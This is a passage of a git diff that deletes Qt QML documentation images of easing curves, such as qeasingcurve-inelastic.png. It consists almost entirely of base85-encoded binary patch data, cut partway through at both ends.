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 diff --git a/src/qml/doc/images/qeasingcurve-inelastic.png b/src/qml/doc/images/qeasingcurve-inelastic.png deleted file mode 100644 index f976b5a57623f2f9dd2475d7c8d614777676e164..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3304 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 diff --git a/src/qml/doc/images/qeasingcurve-inoutback.png 